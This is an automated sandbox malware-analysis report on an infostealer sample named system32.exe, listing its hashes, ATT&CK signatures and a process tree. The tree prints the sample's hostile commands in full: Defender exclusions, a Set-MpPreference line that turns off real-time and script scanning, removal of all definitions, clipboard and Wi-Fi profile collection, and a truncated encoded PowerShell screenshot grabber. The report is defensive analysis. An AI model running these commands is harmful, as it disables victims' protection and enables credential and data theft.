b66d40780ab28d100746cb4ea17aefef7370cb963aad556fcf484e5bb8879fc5

Analysis

user interaction
yes
max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/11/2026, 13:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
system32.exe
Size 6.9MB
Sample261101-qlpr4sxt4l
SHA256 b66d40780ab28d100746cb4ea17aefef7370cb963aad556fcf484e5bb8879fc5
MD5 7ee26ac703084fed1302f41d18ded0e1
SHA1 f849857435e7d03d5446ca64a846c28fa8ae94ab
SHA512 e386293c6060afeb1900f04c8f2c14506673c704945a8ecfe5bbac3233c95ad5e0126c74ce489a30a0f06fb8fe9e8be894ef508215c457a12a50341b80604206
SSDEEP 98304:SzdbM+Q2y+Qwx9zjOjFgFQlwq4Mjk+dBZtu9xTtwz/aer6/BbKuJ1nL22BLRSnRh:gywx9XOjmFQR4MVGFtwLPcnL225RiT
TLSH
T124763389EBA106F0F473923881939557DB72B52A07F8CADF43E042512F633D2993EB56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
892	powershell.exe
4632	powershell.exe
3520	powershell.exe
1512	powershell.exe
2904	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3520	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2296	cmd.exe
2960	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4720	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe
2504	system32.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
11	discord.com
12	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
9	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2320	tasklist.exe
4344	tasklist.exe
2128	tasklist.exe

UPX packed file 58 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000024339-21.dat	upx
behavioral1/memory/2504-25-0x00007FFD145F0000-0x00007FFD14BD9000-memory.dmp	upx
behavioral1/files/0x000700000002432c-28.dat	upx
behavioral1/memory/2504-48-0x00007FFD198D0000-0x00007FFD198DF000-memory.dmp	upx
behavioral1/files/0x000700000002432b-39.dat	upx
behavioral1/memory/2504-52-0x00007FFD15D10000-0x00007FFD15D3D000-memory.dmp	upx
behavioral1/files/0x000700000002432f-51.dat	upx
behavioral1/memory/2504-50-0x00007FFD197E0000-0x00007FFD197F9000-memory.dmp	upx
behavioral1/memory/2504-47-0x00007FFD197A0000-0x00007FFD197C3000-memory.dmp	upx
behavioral1/memory/2504-60-0x00007FFD07B50000-0x00007FFD07CC0000-memory.dmp	upx
behavioral1/files/0x000700000002433d-59.dat	upx
behavioral1/memory/2504-58-0x00007FFD15560000-0x00007FFD15583000-memory.dmp	upx
behavioral1/files/0x0007000000024332-57.dat	upx
behavioral1/files/0x0007000000024333-46.dat	upx
behavioral1/files/0x0007000000024331-44.dat	upx
behavioral1/files/0x0007000000024330-43.dat	upx
behavioral1/files/0x000700000002432e-41.dat	upx
behavioral1/files/0x000700000002432d-40.dat	upx
behavioral1/files/0x000700000002433e-38.dat	upx
behavioral1/files/0x000700000002433c-36.dat	upx
behavioral1/files/0x0007000000024338-33.dat	upx
behavioral1/files/0x0007000000024336-32.dat	upx
behavioral1/files/0x0007000000024337-30.dat	upx
behavioral1/memory/2504-62-0x00007FFD14E10000-0x00007FFD14E29000-memory.dmp	upx
behavioral1/memory/2504-69-0x00007FFD07460000-0x00007FFD077D9000-memory.dmp	upx
behavioral1/memory/2504-72-0x00007FFD073A0000-0x00007FFD07458000-memory.dmp	upx
behavioral1/memory/2504-71-0x00007FFD197A0000-0x00007FFD197C3000-memory.dmp	upx
behavioral1/memory/2504-70-0x00007FFD145F0000-0x00007FFD14BD9000-memory.dmp	upx
behavioral1/memory/2504-67-0x00007FFD14DE0000-0x00007FFD14E0E000-memory.dmp	upx
behavioral1/memory/2504-66-0x00007FFD16F50000-0x00007FFD16F5D000-memory.dmp	upx
behavioral1/memory/2504-74-0x00007FFD14DC0000-0x00007FFD14DD4000-memory.dmp	upx
behavioral1/memory/2504-80-0x00007FFD07280000-0x00007FFD0739C000-memory.dmp	upx
behavioral1/memory/2504-79-0x00007FFD14DB0000-0x00007FFD14DBD000-memory.dmp	upx
behavioral1/memory/2504-178-0x00007FFD07B50000-0x00007FFD07CC0000-memory.dmp	upx
behavioral1/memory/2504-177-0x00007FFD15560000-0x00007FFD15583000-memory.dmp	upx
behavioral1/memory/2504-252-0x00007FFD07460000-0x00007FFD077D9000-memory.dmp	upx
behavioral1/memory/2504-251-0x00007FFD14E10000-0x00007FFD14E29000-memory.dmp	upx
behavioral1/memory/2504-256-0x00007FFD14DE0000-0x00007FFD14E0E000-memory.dmp	upx
behavioral1/memory/2504-273-0x00007FFD073A0000-0x00007FFD07458000-memory.dmp	upx
behavioral1/memory/2504-275-0x00007FFD145F0000-0x00007FFD14BD9000-memory.dmp	upx
behavioral1/memory/2504-289-0x00007FFD07280000-0x00007FFD0739C000-memory.dmp	upx
behavioral1/memory/2504-281-0x00007FFD07B50000-0x00007FFD07CC0000-memory.dmp	upx
behavioral1/memory/2504-276-0x00007FFD197A0000-0x00007FFD197C3000-memory.dmp	upx
behavioral1/memory/2504-334-0x00007FFD14DB0000-0x00007FFD14DBD000-memory.dmp	upx
behavioral1/memory/2504-333-0x00007FFD14DC0000-0x00007FFD14DD4000-memory.dmp	upx
behavioral1/memory/2504-332-0x00007FFD07280000-0x00007FFD0739C000-memory.dmp	upx
behavioral1/memory/2504-331-0x00007FFD07B50000-0x00007FFD07CC0000-memory.dmp	upx
behavioral1/memory/2504-330-0x00007FFD14DE0000-0x00007FFD14E0E000-memory.dmp	upx
behavioral1/memory/2504-329-0x00007FFD16F50000-0x00007FFD16F5D000-memory.dmp	upx
behavioral1/memory/2504-328-0x00007FFD14E10000-0x00007FFD14E29000-memory.dmp	upx
behavioral1/memory/2504-327-0x00007FFD073A0000-0x00007FFD07458000-memory.dmp	upx
behavioral1/memory/2504-326-0x00007FFD15560000-0x00007FFD15583000-memory.dmp	upx
behavioral1/memory/2504-325-0x00007FFD15D10000-0x00007FFD15D3D000-memory.dmp	upx
behavioral1/memory/2504-324-0x00007FFD197E0000-0x00007FFD197F9000-memory.dmp	upx
behavioral1/memory/2504-323-0x00007FFD197A0000-0x00007FFD197C3000-memory.dmp	upx
behavioral1/memory/2504-322-0x00007FFD198D0000-0x00007FFD198DF000-memory.dmp	upx
behavioral1/memory/2504-321-0x00007FFD145F0000-0x00007FFD14BD9000-memory.dmp	upx
behavioral1/memory/2504-316-0x00007FFD07460000-0x00007FFD077D9000-memory.dmp	upx

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	system32.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
2400	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2736	cmd.exe
2260	cmd.exe
4056	cmd.exe
2324	cmd.exe
1464	cmd.exe
556	cmd.exe
3988	cmd.exe
1712	cmd.exe
5076	cmd.exe
2768	cmd.exe
2360	cmd.exe
1856	cmd.exe
1164	cmd.exe
1928	cmd.exe
3108	cmd.exe
4040	cmd.exe
3232	cmd.exe
3888	cmd.exe
3756	cmd.exe
2932	cmd.exe
1584	cmd.exe
3224	cmd.exe
1292	cmd.exe
4608	cmd.exe
2832	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	system32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	system32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2768	cmd.exe
1464	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4800	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3964	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
3520	powershell.exe
4632	powershell.exe
892	powershell.exe
2960	powershell.exe
2960	powershell.exe
4632	powershell.exe
4632	powershell.exe
636	powershell.exe
636	powershell.exe
3520	powershell.exe
3520	powershell.exe
892	powershell.exe
892	powershell.exe
2960	powershell.exe
636	powershell.exe
1512	powershell.exe
1512	powershell.exe
3896	powershell.exe
3896	powershell.exe
2904	powershell.exe
2904	powershell.exe
1488	powershell.exe
1488	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2320	tasklist.exe
Token: SeDebugPrivilege	4344	tasklist.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeDebugPrivilege	892	powershell.exe
Token: SeIncreaseQuotaPrivilege	3416	WMIC.exe
Token: SeSecurityPrivilege	3416	WMIC.exe
Token: SeTakeOwnershipPrivilege	3416	WMIC.exe
Token: SeLoadDriverPrivilege	3416	WMIC.exe
Token: SeSystemProfilePrivilege	3416	WMIC.exe
Token: SeSystemtimePrivilege	3416	WMIC.exe
Token: SeProfSingleProcessPrivilege	3416	WMIC.exe
Token: SeIncBasePriorityPrivilege	3416	WMIC.exe
Token: SeCreatePagefilePrivilege	3416	WMIC.exe
Token: SeBackupPrivilege	3416	WMIC.exe
Token: SeRestorePrivilege	3416	WMIC.exe
Token: SeShutdownPrivilege	3416	WMIC.exe
Token: SeDebugPrivilege	3416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3416	WMIC.exe
Token: SeRemoteShutdownPrivilege	3416	WMIC.exe
Token: SeUndockPrivilege	3416	WMIC.exe
Token: SeManageVolumePrivilege	3416	WMIC.exe
Token: 33	3416	WMIC.exe
Token: 34	3416	WMIC.exe
Token: 35	3416	WMIC.exe
Token: 36	3416	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3416	WMIC.exe
Token: SeSecurityPrivilege	3416	WMIC.exe
Token: SeTakeOwnershipPrivilege	3416	WMIC.exe
Token: SeLoadDriverPrivilege	3416	WMIC.exe
Token: SeSystemProfilePrivilege	3416	WMIC.exe
Token: SeSystemtimePrivilege	3416	WMIC.exe
Token: SeProfSingleProcessPrivilege	3416	WMIC.exe
Token: SeIncBasePriorityPrivilege	3416	WMIC.exe
Token: SeCreatePagefilePrivilege	3416	WMIC.exe
Token: SeBackupPrivilege	3416	WMIC.exe
Token: SeRestorePrivilege	3416	WMIC.exe
Token: SeShutdownPrivilege	3416	WMIC.exe
Token: SeDebugPrivilege	3416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3416	WMIC.exe
Token: SeRemoteShutdownPrivilege	3416	WMIC.exe
Token: SeUndockPrivilege	3416	WMIC.exe
Token: SeManageVolumePrivilege	3416	WMIC.exe
Token: 33	3416	WMIC.exe
Token: 34	3416	WMIC.exe
Token: 35	3416	WMIC.exe
Token: 36	3416	WMIC.exe
Token: SeDebugPrivilege	2128	tasklist.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeIncreaseQuotaPrivilege	2868	WMIC.exe
Token: SeSecurityPrivilege	2868	WMIC.exe
Token: SeTakeOwnershipPrivilege	2868	WMIC.exe
Token: SeLoadDriverPrivilege	2868	WMIC.exe
Token: SeSystemProfilePrivilege	2868	WMIC.exe
Token: SeSystemtimePrivilege	2868	WMIC.exe
Token: SeProfSingleProcessPrivilege	2868	WMIC.exe
Token: SeIncBasePriorityPrivilege	2868	WMIC.exe
Token: SeCreatePagefilePrivilege	2868	WMIC.exe
Token: SeBackupPrivilege	2868	WMIC.exe
Token: SeRestorePrivilege	2868	WMIC.exe
Token: SeShutdownPrivilege	2868	WMIC.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 4152 wrote to memory of 2504	4152	system32.exe	83
PID 2504 wrote to memory of 3888	2504	system32.exe	84
PID 2504 wrote to memory of 3756	2504	system32.exe	85
PID 2504 wrote to memory of 3988	2504	system32.exe	86
PID 2504 wrote to memory of 4608	2504	system32.exe	90
PID 2504 wrote to memory of 2832	2504	system32.exe	91
PID 3888 wrote to memory of 892	3888	cmd.exe	94
PID 2504 wrote to memory of 1712	2504	system32.exe	95
PID 4608 wrote to memory of 2320	4608	cmd.exe	97
PID 3988 wrote to memory of 4632	3988	cmd.exe	98
PID 3756 wrote to memory of 3520	3756	cmd.exe	99
PID 2832 wrote to memory of 4344	2832	cmd.exe	100
PID 2504 wrote to memory of 2296	2504	system32.exe	101
PID 2504 wrote to memory of 5076	2504	system32.exe	102
PID 1712 wrote to memory of 3416	1712	cmd.exe	105
PID 2504 wrote to memory of 2736	2504	system32.exe	107
PID 2504 wrote to memory of 2768	2504	system32.exe	108
PID 2504 wrote to memory of 2932	2504	system32.exe	110
PID 2504 wrote to memory of 1984	2504	system32.exe	113
PID 2296 wrote to memory of 2960	2296	cmd.exe	115
PID 5076 wrote to memory of 2128	5076	cmd.exe	116
PID 2736 wrote to memory of 1928	2736	cmd.exe	138
PID 1984 wrote to memory of 636	1984	cmd.exe	118
PID 2932 wrote to memory of 3964	2932	cmd.exe	119
PID 2768 wrote to memory of 1464	2768	cmd.exe	142
PID 2504 wrote to memory of 2260	2504	system32.exe	121
PID 2260 wrote to memory of 4252	2260	cmd.exe	123
PID 2504 wrote to memory of 1164	2504	system32.exe	124
PID 1164 wrote to memory of 3884	1164	cmd.exe	126
PID 2504 wrote to memory of 4056	2504	system32.exe	127
PID 636 wrote to memory of 2104	636	powershell.exe	129
PID 4056 wrote to memory of 3952	4056	cmd.exe	130
PID 2504 wrote to memory of 1584	2504	system32.exe	131
PID 2104 wrote to memory of 2124	2104	csc.exe	133
PID 1584 wrote to memory of 4536	1584	cmd.exe	134
PID 2504 wrote to memory of 2324	2504	system32.exe	135
PID 2324 wrote to memory of 2428	2324	cmd.exe	161
PID 2504 wrote to memory of 1928	2504	system32.exe	138
PID 1928 wrote to memory of 1512	1928	cmd.exe	140
PID 2504 wrote to memory of 1464	2504	system32.exe	142
PID 1464 wrote to memory of 3896	1464	cmd.exe	144
PID 2504 wrote to memory of 3224	2504	system32.exe	147
PID 3224 wrote to memory of 3008	3224	cmd.exe	149
PID 2504 wrote to memory of 1292	2504	system32.exe	150
PID 1292 wrote to memory of 4720	1292	cmd.exe	152
PID 2504 wrote to memory of 2360	2504	system32.exe	154
PID 2360 wrote to memory of 2868	2360	cmd.exe	156
PID 2504 wrote to memory of 3108	2504	system32.exe	157
PID 3108 wrote to memory of 1780	3108	cmd.exe	159
PID 2504 wrote to memory of 556	2504	system32.exe	160
PID 556 wrote to memory of 2400	556	cmd.exe	162
PID 2504 wrote to memory of 1856	2504	system32.exe	163
PID 1856 wrote to memory of 2904	1856	cmd.exe	165
PID 2504 wrote to memory of 4040	2504	system32.exe	167
PID 4040 wrote to memory of 4800	4040	cmd.exe	169
PID 2504 wrote to memory of 3232	2504	system32.exe	170
PID 3232 wrote to memory of 1488	3232	cmd.exe	172

C:\Users\Admin\AppData\Local\Temp\system32.exe
"C:\Users\Admin\AppData\Local\Temp\system32.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Users\Admin\AppData\Local\Temp\system32.exe
  "C:\Users\Admin\AppData\Local\Temp\system32.exe"
  2⤵
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎‏‌‏.scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎‏‌‏.scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1712
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of AdjustPrivilegeToken
      PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:2296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5076
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:2768
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2932
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAA